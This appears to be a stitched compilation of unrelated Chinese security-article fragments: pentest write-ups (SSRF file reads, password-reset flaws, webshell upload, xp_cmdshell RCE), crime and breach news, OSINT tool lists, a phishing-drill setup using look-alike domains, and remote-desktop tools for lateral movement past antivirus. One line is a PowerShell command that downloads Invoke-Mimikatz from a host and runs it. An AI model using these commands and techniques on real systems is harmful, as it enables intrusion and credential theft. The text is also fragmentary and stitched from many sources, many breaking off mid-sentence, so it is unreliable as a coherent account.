这次的目标是个购物站点，希望发现更多的漏洞，最好是能拿到shell。一些常见的漏洞都存在，比如任意修改他人密码、修改商品金额等逻辑漏洞都是存在的。但这里就不提这些逻辑漏洞了，这里说一说ssrf。注册会员后，前台很多上传点，但是均无法上传shell。通过nmap扫描端口发现对外开放了3306端口，也就是mysql数据库端口。然后在一处下载文件的地方，看到了个可疑的url。通过dnslog测试，发现是个ssrf漏洞。尝试访问百度，得到出是完全回显的ssrf漏洞。尝试这个ssrf是否支持其他协议，发现支持file协议，完全回显，又可以读文件，真舒服。那么现在只需要让网站报错

有人薅羊毛赚了20多万？你可别羡慕微信、美团、饿了么淘宝、京东、拼多多、抖音新人红包、拉新礼券、邀请返利、百亿补贴各波福利层出不穷怎么办！怎么办只有一个账户只能薅一次羊毛你听说过“职业羊毛党”吗他们靠薅羊毛为生真真把薅羊毛发挥到了极致“您好，现在注册新用户即可当下获60-80元现金福利哦”，路边街头，地推人员正通过在人群密集地点摆地摊、送礼物、发现金的方式，引导他人注册新手机卡。白白送我几十元，还有这种好事？殊不知真相是……网警一进门，就被眼前密密麻麻的手机卡吸引了视线，4个“猫池”设备，每个上面插了32张电话卡，此时，郑某正在工作——维护这128张电话卡。几个月前，认识多年的广州好友谢某给郑某介绍了个通过“猫池”赚钱的好途径。谢某现在很多人都在做这个，一个月赚个把万没问题！谢谢好兄弟！赚钱还能想到我。郑某说干就干，于是，谢某从广东那边寄来了4个“猫池”给郑某。一台“猫池”设备可同时支持多个手机号通话，支持群发短信、远程控制、卡机分离等功能。本来是方便单位、公司通讯的一种设备，但一些别有用心的人却用它从事违法犯罪活动。收到“猫池”后，郑某马上开干。他需要不断地线上线下去推销，鼓励用户开卡，尽量维持128张卡都处于“可利用”状态。上游的谢某利用这些手机号，进行新账户注册，大规模地在各平台薅羊毛。这种情况下，这些卡的“保质期”大约只有一个月，因为当各大平台的送新福利用尽后，这张卡也就失去了利用价值。杭州临平网警查明，郑某在网上非法购买大量实名手机卡，并通过“猫池”辅助上游团伙实施接码等灰黑产业活动。7月，杭州临平警方出动警力对该团伙开展收网行动，在本地及广东潮安等地抓获郑某等犯罪嫌疑人5名（已采取刑事强制措施4名），扣押手机卡801张、手机9部、“猫池”4台、电脑2台。犯罪嫌疑人郑某承认，团队通过这种方式非法牟利20余万元。非法赚钱不可取一分耕耘一分收获如果你真的想知道赚钱的“秘密”那我推荐你看这本书赚钱的“秘密”都写在这本书里了只要20多元买不了吃亏，买不了上当↓↓↓中华人民共和国刑法一黑客“黑吃黑”窃取

火眼金睛是一个GitHub监控和信息收集工具，支持监控和收集CVE、免杀、漏洞利用等内置关键字和自定义关键字。支持钉钉、Server酱和Telegram推送，过滤敏感词，查找包含关键字的所有仓库并输出到FEGC.xlsx文件。默认关键字列表有限，可通过文件指定关键字和敏感词，由于GitHub

但是通过注册多个账号，观察其返回的userId值，毫无规律。无法找到userId的规律，也就登录不到其他人的账号。为了提升漏洞等级，继续从页面中找到有关联userId的值。

白皮书围绕数字经济合作、网络安全合作、网络空间治理、促进全球普惠包容发展等介绍了构建网络空间命运共同体的中国贡献，并围绕网络空间发展、治理、安全、合作等方面提出了构建更加紧密的网络空间命运共同体的中国主张。

马斯克血洗Twitter，网络安全部门集体被裁;2022年10月底，沸沸扬扬的Twitter收购案已经落下帷幕，马斯克以440亿美元的价格买下推特。在消息公布的当天，马斯克端着一个洗手盆，以一种搞怪式的出厂方式正式入主Twitter。但是谁也没有想到，刚刚坐上Twitter大BOSS位置的马斯克转眼就掀起一场腥风血雨，发布了前所未有的大裁员命令。所有员工在毫无准备的情况下得知，马斯克将立马辞退至多

/root/vulhub/tomcat/tomcat8由于这个镜像启动后登录管理页面存在重复验证的问题，这里不再利用docker-compose.yml2.docker

前言一个无聊的周末，躺在床上听着网抑云正emo呢，突然收到hackone发来的项目邀请，OK，打开电脑开干。0x02

波音子公司、航班规划工具商Jeppesen发生网络安全事件，部分系统中断服务，导致北美、中东等多家航空公司的部分航班规划被迫中断、航班延误。安全内参11月4日消息，美国航空航天巨头波音的全资子公司Jeppesen是一家位于科罗拉多州的导航与航班规划工具供应商。该公司昨天证实，由于发生网络安全事件，导致部分航班被迫中断。11月2日（本周三），Jeppesen公司网站上出现了红色提示条幅，警告称“我们的部分产品、服务和沟通渠道出现了技术问题”。波音公司一位发言人透露，这是一起网络安全事件，Jeppesen方面正在努力恢复服务。该发言人表示，“我们的子公司Jeppesen遭遇到网络事件，已经有部分航班规划产品和服务受到影响。部分航班规划被中断，但目前我们判断此次事件应该不会对飞机或飞行安全构成威胁。我们正与客户和监管机构沟通，并努力在最短时间内全面恢复服务。”尽管航班中断的严重程度还不明确，但此次事件至少已经影响到当前及后续空中任务通知（NOTAM）的接收和处理。NOTAM是指向航空当局提交的通知，用于提醒飞行员注意航线上的潜在危险。图：Flynas发布公告称将调整部分航班，安全内参截图伊拉克航空、沙特Flynas航空、加拿大太阳之翼航空均发布公告，称Jeppesen系统发生了中断。Flynas表示部分航班被重新调整，太阳之翼还称北美多家航司受影响。图：加拿大太阳之翼航空发布公告，安全内参截图旅游博客Live

先进群咨询客服赢网安相关书籍一册

通过手动输入输入来测试漏洞可能会麻烦。在当今人们时间和耐心水平较低的时代，手动提供输入以查找目标中的错误/漏洞的想法可能会让人不知所措。为了减少这个压倒性的问题并节省时间，模糊测试可能是一个很大的优势。Fuzzing

近年来经过一连串收购，微软公司已经“内卷”成为一家网络安全巨头，但是这个牵动千万家企业客户的科技巨头自身的安全态势和安全挑战却鲜为人知。漏洞之王在过去的几年中，与微软有关的漏洞和黑客攻击的负面消息不绝于耳。显然，无处不在的微软产品(及其中的漏洞)对于黑客来说是极具吸引力的攻击媒介。根据美国网络安全和基础设施安全局(CISA)的一份报告，自2022年初以来，微软已报告了238个网络安全漏洞，占今年迄今为止发现的所有漏洞的30%。2021年，美国国家安全局(NSA)、FBI、CISA和CIA等主要机构发布了黑客利用最多的15个漏洞和暴露(CVE)。其中，60%（9个）来自微软设计、运营和拥有的系统，包括Exchange

前言之前也总结过类似的信息收集相关的文章，但是每隔一段时间理解和手法都会有所不同，本文以hvv或授权但仅提供公司名称域名等情况下渗透测试的视角总结一些自己最近做信息收集的流程套路。信息收集一、初始已知信息前言中提到的两种情况，一般初始信息只有公司名称、个别官网域名、靶标名称等信息，以此为起点进行信息收集。二、搜寻根域名此步骤个人的经验是，面对大公司优先选择工信部备案查询，小公司用搜索引擎做起点，然后几种方式都可以过一遍，查漏补缺，尽量获取最全的信息。大部分公司根域名都不会很多，全部过一遍也不会用掉多少时间。1.搜索引擎搜索引擎直接搜索其公司名称，获取其相关根域名2.天眼查、企查查从天眼查、企查查等途径，输入公司名，查询其域名以及全资控股子公司的域名https://www.qcc.com/https://www.tianyancha.com/3.工信部备案工信部备案查询域名/ip地址（需要详细且正确的公司名称，结果也会很全面）https://beian.miit.gov.cn/#/Integrated/recordQuery4.fofafofa查询其公司名称，获取相关域名5.站长之家使用其icp查询功能查询备案，当我们不知道公司完整名称的时候也可以使用此网站功能使用已知域名查询完整备案公司名称http://icp.chinaz.com/6.反查域名用已知的某些ip反查域名https://dns.aizhan.com/https://whois.aizhan.com/三、子域名在子域名收集这步本人一般不喜欢爆破的方式，子域名爆破比较依赖字典，字典小就收集不全，字典大就很费时间，所以一般优先在各类解析记录的网站查询。1.各类网站查询解析记录以bilibili为例：https://www.dnsgrep.cn/subdomain/bilibili.comhttps://securitytrails.com/list/apex_domain/bilibili.com类似的网站非常多，这两个都是免费的，但是第二个要注册登录2.子域名爆破相关的工具很多，部分扫描器也自带子域名爆破功能或可安装相关插件。subDomainsBrutehttps://github.com/lijiejie/subDomainsBrute3.fofa、shodan利用这类工具对域名资产进行查询，如fofa语法domain=”xxx.com”4.OneForAll此工具会集成多种方式搜集子域名，包括dns查询、证书查询等，详情见其项目中的readme安装12345git

前言记录下某个测试项目中，通过一个文件备份泄露到主机上线的过程。文件备份泄露对于测试的第一项当然是弱口令，bp跑了一通词典，无果。目录又爆破了一通，发现一个web.rar可通，赶紧下载看看，如下图所示。代码审计解压瞅了瞅，源代码为ASP.NET框架的，这个真不懂，只能先用Fortify快速扫描一番，此处略过。配置文件+未授权访问扫描之后，看了下报告排除了误报，发现某个xml配置文件包含了很多信息，比如数据库账号密码，微信AppId等等。习惯性将路径拼接一下访问一下url，好家伙，未授权。默认账户密码同时注意到了配置文件中还有一行定义了默认登录账户和密码哈希。于是在cmd5对此哈希进行解密，并成功获取账号明文密码。返回到登录界面，输入了刚才账户和解密的密码之后，果不其然，等登录验证成功之后跳转了系统内部。储存型XSS在Fortify的扫描报告中有多个反射xss漏洞信息，不过随便点开功能栏，存在许多输入框，便觉得肯定存在储存xss，随便找一处，输入经典测试语句alert(1)点击保存并刷新，果然弹出了窗。文件上传刚找到一个xss，便不在测试了，此站点未进行任何xss过滤，肯定到处是xss漏洞。又在项目信息处找到了一个上传点，简单用哥斯拉生成一个webshell:test.asp，点击上传发现webshell上传成功，但是未返回文件上传路径，且文件名被改写为参数形式了。可以通过选择下载刚才上传的文件获取到新的文件名，但是问题是不知道上传到了那个目录下。好在有源代码，通过关键词语搜索全局，找到多个名为uploadfile的文件夹的路径，通过这些路径拼接到url并一个个尝试访问即可，如下图，访问未报错即证明路径正确。使用正确的url通过哥斯拉连接成功，GetShell达成。未授权访问+数据查询+xp_cmdshell=RCE在getshell之后，并未停止测试脚步，发现了一处sql查询页面，除了可以查询数据库内容外，还可以执行sql语句。考虑到配置文件的未授权访问，于是又在bp中删除了cookie，发现此查询页面也可以未授权访问，而由代码审计中的配置文件知道数据库为sql

钉钉回应教师上网课“遭黑客攻击网暴”后死亡近日，新郑三中教师刘某某遗体在家中被发现。其二女儿称，十月初至死亡前她用钉钉上网课，多次遭黑客入侵网暴。钉钉客服回应：已了解相关情况，正核实，积极配合警方协查。11月2日，@新郑发布

2022年还有两个月结束，很多人面临着换工作跳槽，毕业实习，转岗等问题，人都是往高处走的...

Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz

一.起开局一个登录框，简单测试了几个弱口令无果后注意力转到找回密码处先输入两个非法的参数点击获取验证码，抓包，查看响应代码返回0，前端显示未查询到账户信息再来一次，抓包并修改响应包，将0改为1，放包后成功来到第二步，前端自动请求了一个后端接口发送验证码查看该接口的响应，发现验证码作为响应体被返回了填入验证码，直接跳转到第三步修改新密码，填入新密码后，点击提交发现请求体里只有userIds和password两个参数，前者是要修改密码用户的uid，后者是新密码的值，猜测这里可能存在任意账户密码重置，而后又意识到我们传入的用户不存在，所以前端存储的userid变量为0，于是我们将请求包中userIds字段修改为1，尝试重置管理员密码。后端响应为1，证明密码重置成功了，走到这里只觉喜出望外，赶紧拿着新密码去登录管理员账户结果想不通，难道是管理员的账户名不是admin？接连试了几个常见管理员用户名都失败后，想到还有个注册点，兴许可以爆破出管理员账号呢？结果还是不行：二.承无奈，此路不通另寻他路，注意到有个APP下载的二维码，解析之，而后下载到apk用工具快速扫描一下，发现两个移动端的接口地址有点不同寻常访问之，好家伙，竟然返回了所有用户的uid和电话号码三.转惊喜之余突然回过神来，马上到接口中去检索uid为1的用户结果证明uid=1的用户不是管理员权限，而是一个普普通通的员工id，之前由于太过笃定管理员的uid就是1，导致我们在这个点上浪费了太多时间。四.合随后也是通过这个未授权的接口找到了管理员的id但是为了不对业务系统造成严重破坏，我们仅重置了一个普通用户的密码，随后成功登录以验证漏洞的存在：文章来源：作者：Alpaca，转载于先知社区。黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！如侵权请私聊我们删文END多一个点在看多一条小鱼干

攻击路径是指网络攻击者潜入到企业内部网络应用系统所采取的路径，换句话说，也就是攻击者进行攻击时所采取的相关措施。攻击途径通常代表着有明确目的性的威胁，因为它们会经过详细的准备和规划。从心怀不满的内部人员到恶意黑客、间谍团伙，都可能会利用这些攻击路径，窃取公司技术、机密信息或敲诈钱财。常见攻击路径分析企业网络安全防护需要从确定薄弱环节入手，了解公司可能被攻击的路径，并实施适当的预防和检测方法，这有助于保证企业网络弹性，本文收集整理了目前较常见的攻击路径。1.

黑客长期潜伏企业邮箱，国内某企业被骗走200余万美元近日，杭州钱塘一家外贸企业的电子邮箱遭不法分子入侵，导致企业险些被骗200余万美元货款。当日，该企业工作人员在查询订单时发现，一海外客户于几日前收到了企业生产的货物，但一笔90万美元的货款始终未如约支付。该工作人员第一时间联系客户催款，对方却告知早已将货款汇至电子邮件里提供的指定账户。该工作人员立即意识到，企业邮箱很可能遭到黑客非法入侵并恶意篡改，便向杭州市公安局钱塘区分局前进派出所报警求助。前进派出所立即将相关情况上报，钱塘区公安分局网警大队高度重视，联合前进派出所迅速介入调查。“根据我们的调查，黑客是通过木马程序侵入了这家企业的邮箱，并长期潜伏，发现双方交易后，篡改了企业发送给国外客户邮件中的收款人信息及收款账户，致使客户根据邮件信息，将货款打进了黑客的账户。”前进派出所副所长钟嘉淇介绍说，在开展调查的同时，钱塘警方第一时间开展紧急止损。由于这笔货款需要在银行中转，警方介入时，这笔货款仍在中转流程中，警方通过及时申诉支付冻结，将全部货款顺利追回。“警察同志，多亏有你们，不然我们公司损失就大了！”事后，该企业负责人给前进派出所送来锦旗，感谢警方帮忙挽回了巨额损失。据钱塘警方介绍，此类黑客作案手法具有较强的针对性，侵害对象以与境外客商有业务往来的企业为主。警方提醒，如收到有关收款银行账号变更的邮件，一定要提高警惕，通过电话等多种方式再次确认。此外，如果发现邮箱被盗，应立即修改邮箱密码，并在“自动转发”里删除盗取者的邮箱，避免邮件仍被抄送出去；同时应立即告知现有客户相关情况，对于任何关键信息的修改，如银行账号变动、订单详情变化，需通过传真及电话进行双重确认。如客户已打款，应尽快向公安机关报案，从而及时挽回损失。400万美元可以买到全球576个企业网络访问权限最新报告显示，黑客正在以

扫描出的信息和漏洞，利用业余时间从扫描报告中的资产捡洞和找洞，已经3次jd月度前十。萌发出自己写扫描器挖洞的念头，自动挖一些简单漏洞，赚点零花钱，同时提升一下开发能力，毕竟搞安全的不能不懂开发。目前

本文介绍的OSINT工具仅供网络安全人士学习研究使用，请勿滥用并遵守国家相关法律如今网络安全专业人士可用的优秀OSINT工具数以百计，因此筛选优秀工具的时间成本很高，以下我们根据GitHub一些关键热度指标：收藏（staring）、关注人数、提交数量、fork分叉、代码贡献人数等，评选出GitHub人气最高和评价最高的十大OSINT工具。一、Sherlock从统计数据来看，GitHub上最好和最受欢迎的OSINT工具非Sherlock莫属。但是该工具需要用户具备命令行和Python的基础知识，如果你嫌麻烦，可以尝试有用户界面的类似工具：UserSearch.org。Sherlock是社交媒体账户追踪（爬虫）工具，可用于收集有关人员的信息，对记者和安全研究人员特别有用。用sherlock搜索特定用户名Sherlock可用社交媒体账户和其他来源的公共数据创建人员档案——包括他们的位置、年龄、性别、职位和薪水。它还包括有关人们在Facebook或Twitter上的联系信息。可使用此信息来了解目标更多网上行为和隐藏信息。Sherlock可以与其他OSINT工具（例如Maltego或FOCA）一起使用，以收集有关个人兴趣或社区内联系的其他信息。二、TwintTwint是一个面向Twitter的开源情报工具，可以用来搜索和分析Twitter数据。Twint可以访问各种Twitter数据，包括推文、用户、主题标签等，此外还提供了分析此类信息的工具，使您更容易找到索要查找的内容。这个工具不仅可以用来分析推文的真假，还可以用来查找所在行业的意见领袖、跟踪Twitter上的事件或突发新闻故事，以及监控特定用户的活动。Twint可以用于多个任务，例如：分析推文并核实真假；查找行业大V；跟踪事件或突发新闻报道；监控特定用户的活动。三、PhoneinfogaPhoneinfoga是一个开源工具，不仅可用于在互联网上查找电话号码，还能查找电子邮件地址、社交媒体帐户和短信。Phoneinfoga使用与Google相同的技术，这意味着它会根据您输入的内容以不同的方式搜索电话号码。例如，如果您输入姓名和区号，Phoneinfoga将搜索与该姓名和区号关联的任何电话号码。如果您输入一个区号和几个数字，Phoneinfoga将在全国范围内搜索所有这些号码。有些人使用此软件来追踪犯罪分子或欠债不还的“老赖”。但有一点需要牢记，个人隐私受到法律保护，在某些国家滥用这些工具可能是非法的（这一条也适用于本文介绍的其他工具）。四、SpiderFootSpiderFoot是一个用于简化信息收集的开源情报(OSINT)工具的集合，由意大利公司ReVuln开发并于2009年发布。作为一种侦察工具，SpiderFoot可以查询公共数据源以收集有关IP地址、域、名称和电子邮件的情报。SpiderFoot可以收集有关公司、组织、人员和网站的信息。该工具支持从搜索引擎、社交网络、博客和论坛收集信息。它还提供了从不同文件格式（如PDF、HTML、Word文档等）中提取数据的工具。SpiderFoot的另一个有用功能是它能够扫描网站以查找SQL注入或跨站点脚本(XSS)等漏洞。如果在网站上发现漏洞，它会发出通知，提醒您在黑客利用它之前及时修复。SpiderFoot还提供一个扫描仪，用于查找来自Google或LinkedIn等各种来源的电子邮件地址，使用户更容易找到自己或他人的联系信息。五、TheharvesterTheharvester是一种用于搜索与目标相关的子域名、电子邮件地址和人名的信息查找工具。Theharvester是一个支持Linux或Windows系统的命令行工具，使用搜索引擎API来收集数据，虽然速度不是很快，但依然是收集目标信息的最佳工具之一。Theharvester可用于早期渗透测试，扫描公共信息源以查找特定目标的电子邮件、姓名、子域和IP，从社交媒体网站、搜索引擎、目标网站等不同来源收集信息。它还支持创建自定义插件。六、AmassAmass是许多安全研究人员和渗透测试人员使用的最流行的OSINT工具之一。该工具可在互联网上搜索有关个人或组织的信息，从各种社交媒体网站（如Facebook和Twitter）站点中提取数据。Amass还为用户提供有关与他们正在搜索的个人或组织相关联的IP地址的信息。Amass也是一种深度攻击面映射和资产发现工具。由于功能丰富而成为Github上最受欢迎的OSINT应用程序之一。其中一项功能是能够从Instagram帐户中提取照片。另一个功能是它能够从Twitter帐户上发布的推文中提取目标的关键信息，而不必手动浏览他们的所有帖子。七、PhotonPhoton是一个速度非常快的网络爬虫，可OSINT个人详细信息，例如姓名、电话号码、电子邮件等。Photon易于使用且不需要学习任何新技能，是非常适合新手的OSINT工具。Photon还提供一个直观且易于导航的界面，可实现无缝拖放功能。您可以将文件拖放到程序中，或在必要时手动添加它们。总而言之，Photon对于初学者来说是一个很棒的工具。它适用于那些想在不学习如何编码的情况下了解OSINT的人。八、TrapeTrape是一个简单而强大的开源研究工具，可收集、搜索和分析来自各种公共资源的数据。它有着直观的界面，非常易于使用。Trape支持从50多个不同的来源收集数据并集中分析。可实时跟踪社会工程攻击测试Trape是完全免费和开源的，可根据需要对其进行修改。它使用基于Python的系统，可以轻松在任何平台上进行设置。它可以在Linux或Windows系统上运行。九、GHuntGHunt是一个功能丰富的综合开源工具，可用于查找GitHub存储库并与之交互。其功能包括搜索存储库的提交历史和执行关键字搜索。GHunt还具有一项功能，允许您从GitHub存储库以CSV格式下载数据。Ghunt是一种开源情报，可用于对特定Google帐户进行研究。如果您有Google帐户ID，则可以使用此工具找到有关它的所有信息。可以通过搜索特定的存储库或用户或输入关键字来使用GHunt。该应用程序提供了一个简单的用户界面，可浏览每个存储库中的提交历史。GHunt还支持查看变更历史记录。Ghunt支持不同的编程语言，包括Python和JavaScript。此功能允许来自任何背景的用户使用其功能。十、SubfinderSubfinder是查找网站子域名（包括隐藏的子域名）的工具。非常适合查找组织的隐藏区域，这些区域面向web，但不想公开，或者意外暴露！例如API控制器、电子邮件服务器、会员网站的会员区域等等。Subfinder是一个很棒的被动式OSINT工具，可用于漏洞赏金计划和渗透测试，但OSINT专家们也经常使用该工具。文章来源：GoUpSec黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！如侵权请私聊我们删文END多一个点在看多一条小鱼干

接口:http://api.example.com:20242/gateway/organization-center/前端:https://test.example.com/auth/login

现代软件开发是一个高度复杂的工程，而软件开发的敏捷化（DevOps）则给其安全控制带来了全新挑战。随着安全威胁的不断增长，开发者必须将安全控制融合到软件开发的整个生命周期中（DevSecOps），将安全测试工具与研发流程整合，在软件发布、部署之前，投入生产之后针对漏洞进行大量严格测试。为了加快软件安全的测试过程，匹配安全与敏捷需求，企业安全团队也应该遵循DevSecOps敏捷安全思维模式，实践DevOps安全持续生命周期方法，通过自动化工具大大简化代码安全测试。以下，我们将简要介绍三种主要的DevSecOps测试方法（SAST、DAST和SCA）及其开源（含免费）工具。静态应用安全测试（SAST）静态应用程序安全测试(SAST)通常在编码阶段分析软件源代码或二进制文件的语法、结构、过程、接口中存在的安全漏洞，是公司在软件开发生命周期的早期阶段进行的一种白盒安全测试。SAST通常会在不同的时间间隔或需要添加或更改代码库时重新运行。作为DevSecOps产品，为自动化量身定制的SAST工具会逐行筛查代码以识别已知漏洞和薄弱环节。自动化SAST工具的主要缺点之一是误报，而且该工具的智能化程度不足以分析处于早期阶段且无法编译的代码。通过人工智能技术可以大大减少SAST工具的误报事件。OWASP发布了开源、免费和商业SAST工具的列表，以下是可以添加到集成开发环境中的流行开源SAST工具：BanditFlawfinderGitHub

failed';}通过Union注入构造万能密码，是可以造成任意用户登陆的，测试过程如下先使用order

CobaltStrike免杀ShellCode加载器；Shellcode_encryption：免杀Shellcode加密生成工具；注：截至2022年9月3日测试时Windows

用于存储敏感用户信息的数据库。这些黑客攻击的共同点在于，他们通过欺骗目标公司内部人员或与目标公司关系密切的人，让他们交出网络接入证书或其他关键信息，这种技术被称为“社会工程”。以

男子利用超市购物卡系统漏洞，实现“花”多少“充”多少梦想超市的购物卡每当消费一空的时候便会“自动”充值想花多少“充”多少这等好事蜀黍真是做梦都不敢想还真有这么一位“技术咖”不光敢想还敢做一招“空手套白狼”把自己送进了牢房一起来看看近日，市公安局车站派出所接到辖区某超市负责人报警称，超市在日常经营中发现发行的购物卡，存在被他人以高于购物卡票面的金额进行重复消费的现象，给超市造成了严重的经济损失。接警后，民警迅速开展侦查，通过查看超市充值管理系统后台，发现确实存在有的购物卡在卡内金额消费完后又“自动”充满的情况。民警通过走访调查超市及周边，经反复分析研判，最终锁定了利用购物卡违法消费的涉案嫌疑人赵某和张某。经走访摸排，民警在赵某的店中将其抓获归案。执法记录仪画面

有专家称，此次泄露的数据在质量和数量上其实都不及之前的事件；但在相关黑客的大肆炒作下，印尼政府终于开始对个人数据泄露给予重视。安全内参9月20日消息，印度尼西亚近期成立的数据保护工作组正在追捕一名黑客。此人据称涉嫌窃取了13亿注册手机用户与1.05亿选民数据，甚至掌握了总统通信日志。公开兜售印尼海量公民数据，涉及总统与众多高官这位化名Bjorka、声称居住在波兰华沙的黑客，过去几周来一直在黑客论坛BreachForums上兜售被盗数据，受害者包括印尼多家国有企业、手机运营商及大选委员会。Bjorka还掌握一份机密文件日志，其中记录着印尼总统佐科·维多多（Joko

前言某日在做一个渗透测试项目，但是没有任何收获，这怎么能给领导交差呢？于是只能加班加点进行测试，终于在我大力出奇迹的干法下，拿到了一个shell。0x02

前言钓鱼演练伊始：公司要求做一次钓鱼演练，辗转后任务落我身上，两眼一抹黑，内心苟苟且且，但一想到今年七月份马上发布的RTX40系，我这等等党铁定必然绝对是要剁手，想到这儿，我这个打工人立马就打了鸡血动力十足。兵马未动，粮草先行--→先有个大致思路再行动一、思路与环境着手去做这件事时候思路很乱，为此也是踩了不少坑，问了很多师傅（得重点谢谢志强大佬），看了一些文章，然后水了这篇文，错误就不写了，踩得坑会提示一下。思路:钓鱼演练核心是gophish，此平台联动邮件服务器可以做到对邮件的统筹下发，如果邮件中包含钓鱼链接，他还能够锁定个人并跟踪监测到该员工：“是否查看邮件”，“是否点击链接”，“是否输入数据”，并且图形化得展示出来，非常直观，平台需要对外可访问，涉及beian问题，所以还需要一台外网vps。钓鱼一般分两种，水坑钓鱼（广撒网），鱼叉钓鱼（精准垂钓），不管怎么钓，常用的方式就是邮件钓鱼，涉及到发邮件，我们一般可以采用自己搭建邮件服务器，或者用在线发邮件，在线服务为了防止垃圾邮件泛滥会限制每日发送，大约一天上限30封左右，每发五封也会有一个冷却cd，有时候邮件会丢失，所以当你面对一个大群体时候请直接选择搭服务器。搭建邮件服务器时候需要准备一个近似的域名，比如百度邮箱可能是xxx@baidu.com，你就申请个paidu.com，或者biadu.com，域名申请可以用Namesilo（便宜），godaddy（贵），或可以用Freenom（免费），申请方法可以自己搜一下。国内外很多厂商都把SMTP对应的25端口毙掉了，也是为了限制垃圾邮件泛滥，我这里用一台虚拟机搭建邮件服务器，再通过frp把25映射到vps上，这样我们邮件服务器问题就解决了环境：一台国外的vps，我这边选用了Ubuntu一台新的centos虚拟机，因为ewomail邮件服务器要求搭建环境干净。工具：gophish（https://github.com/gophish/gophish）、ewomail邮件服务器（https://github.com/gyxuehu/EwoMail）frp(https://github.com/fatedier/frp)mip22(https://github.com/makdosx/mip22)域名一枚，用了godaddy二、工具安装与调试1.gophish搭建下载解压缩，解压缩到当前一个叫gophish文件夹中wget

面对当今网络环境，企业紧跟威胁状况与趋势方可尽量减小所面临的风险。日前，Agari和PhishLabs联合发布了《季度威胁趋势与情报》报告，详细阐述了他们对本季度网络钓鱼与社交媒体攻击的分析。报告呈现的统计数据包括攻击规模、网络犯罪分子所用策略，以及这些攻击的主要目标，记录了自上个季度以来的一些变化。以下便是报告的主要发现。网络钓鱼威胁趋势网络钓鱼站点数量不同于2021年的大幅波动，第一季度以来网络钓鱼站点总数保持稳定，增长近6%。2022年剩下的时间里，随着犯罪分子逐渐摸清企业漏洞所在并加以利用，预计网络钓鱼规模还将稳步攀升。

互联网虽无疑带来了种种便利，但也引入了新的问题：我们对连接的依赖不断加深，给了网络犯罪分子加以利用的机会。网络钓鱼电子邮件、恶意软件和勒索软件攻击，或者银行账户详情、密码及其他个人信息窃取——互联网为恶意黑客敛财和搞破坏提供了种种新手段。只要看看关键基础设施、学校和医院遭受网络攻击的惨状，就可以窥一斑而知全豹，体会到网络安全威胁的严重性。我们尚未能完全保护网络免受当今互联网威胁的侵扰，但技术一直在发展，我们必须以某种方式准备好应对新的威胁。量子计算：加密算法破解和加密货币挖矿量子计算是我们迎来的重大技术突破之一，有望快速解决经典计算机无能为力的复杂问题。然而，这一技术进步给科学研究和人类社会带来各种好处的同时，也会带来新的挑战。最值得注意的是，我们几十年来用以保护网上银行、安全通信和数字签名等多个领域的加密算法，在量子计算的强大力量面前毫无抵抗之力，会被迅速破解。

Fav-upFav-up是一款功能强大的IP查询工具，该工具可以通过Shodan和Favicon（网站图标）来帮助研究人员查询目标服务或设备的真实IP地址。工具安装首先，该工具需要本地设备安装并部署好Python

0x01今天闲来无事，在网上冲浪看帖，看到有个人发了一个代刷网站链接，出于好奇就点进去看了下，一看，好家伙，业务还挺多啊。可惜都要钱，咱可没钱！0x02然后便想看看有没有办法白嫖，哦不，是想热心的帮忙友情检测一下。其实这种代刷系统之前也有了解过，总的来说，安全性还是比较高的，基本没什么漏洞，所以就没想着去尝试系统中的漏洞。而是首先想到找一找后台地址，尝试一下弱口令，看能否进入后台，网站管理员使用了过于简单的弱口令，这种事情很常见，毕竟，人

重磅！美对我电信基础设施渗透控制1《环球时报》记者从有关部门独家获悉，美国国家安全局（NSA）“特定入侵行动办公室”（TAO）在对西北工业大学发起网络攻击的过程中构建了对我一些基础设施核心数据网络远程访问的“合法”通道，对我数据基础设施渗透控制。2022年6月22日，西北工业大学发布公开声明称，该校遭受境外网络攻击。陕西省西安市公安局碑林分局随即发布警情通报，证实在西北工业大学的信息网络中发现了多款源于境外的木马和恶意程序样本，西安警方已对此正式立案调查。随后，有关部门在对此案开展技术分析工作时发现，TAO通过窃取西北工业大学运维和技术人员远程业务管理的账号口令、操作记录以及系统日志等关键敏感数据，掌握了一批网络边界设备账号口令、业务设备访问权限、路由器等设备配置信息、FTP服务器文档资料信息。

一、功能简介该功能只是YAKIT工具的其中一项功能。Burpsuite几乎成为全球WEB安全从业者必装的安全测试工具，然而十余年来尚无一个可替代的解决方案。破解版被投毒风险高、商业版太贵、插件难写、依赖java等等问题逐渐显露。我们团队基于yak顺手实现了BurpSuite的核心功能，期望给所有的从业者一个新的选择。完全替代并不是我们终极目标，替代并超越，切实降低门槛，提升从业者工作效率，才是我们的追求。当前，我们已经实现了BurpSuite常用的功能，包括拦截并修改请求/返回报文、history模块、repeater模块、intruder模块，并且在我们的fuzz模块中创新性的实现了GUI标签fuzz，具备更好的可扩展性。二、安装及使用https://www.yaklang.io/docs/startup/三、运行效果四、下载地址https://github.com/yaklang/yakit文章来源：LemonSec黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！如侵权请私聊我们删文END多一个点在看多一条小鱼干

在有杀软拦截，CS无法上线的情况下，经常用到todesk和向日葵这两个远控工具进行横向移动。不过这两个工具现在好像不怎么好用了。不过无所谓，用其他的就是了，听说最近GotoHTTP很火，可以试试看。1、GoToHTTP的优点和缺点优点：B2C模式，无需安装控制端软件，有浏览器就可以远控。流量走https协议，只要目标放行443端口出口就可以实现内网穿透。在低带宽也可以使用，运行占用内存极低，控制时占用CPU仅为0%-3%。被控端在类Linux系统上支持图形界面（GUI）和字符界面（CLI）。缺点：需要管理员权限运行一些行为（网络唤醒远程主机）需要加载驱动，导致运行时360安全卫士会拦截这行为，其他杀软则不会拦截。2、GoToHTTP使用下载：http://www.gotohttp.com/goto/download.12xGoToHTTP提供了多种系统的被控端，可以根据情况选用。在本地虚拟机演示一下将gotohttp.exe上传到指定目录这里可以看到靶机直接弹出连接框了在哥斯拉中，gotohttp.exe目录下直接生成了配置文件读取配置文件，可以获取电脑ID和控制码直接连接1、RustDesk介绍看了精灵师傅的文章发现了另一个巨TM好用的远控工具，按照精灵师傅的话就是：它不仅有GotoHTTP的优点，还是免费开源的，而且还支持自建服务器，简直业界良心。RustDesk相比于GoToHTTP最大的优点就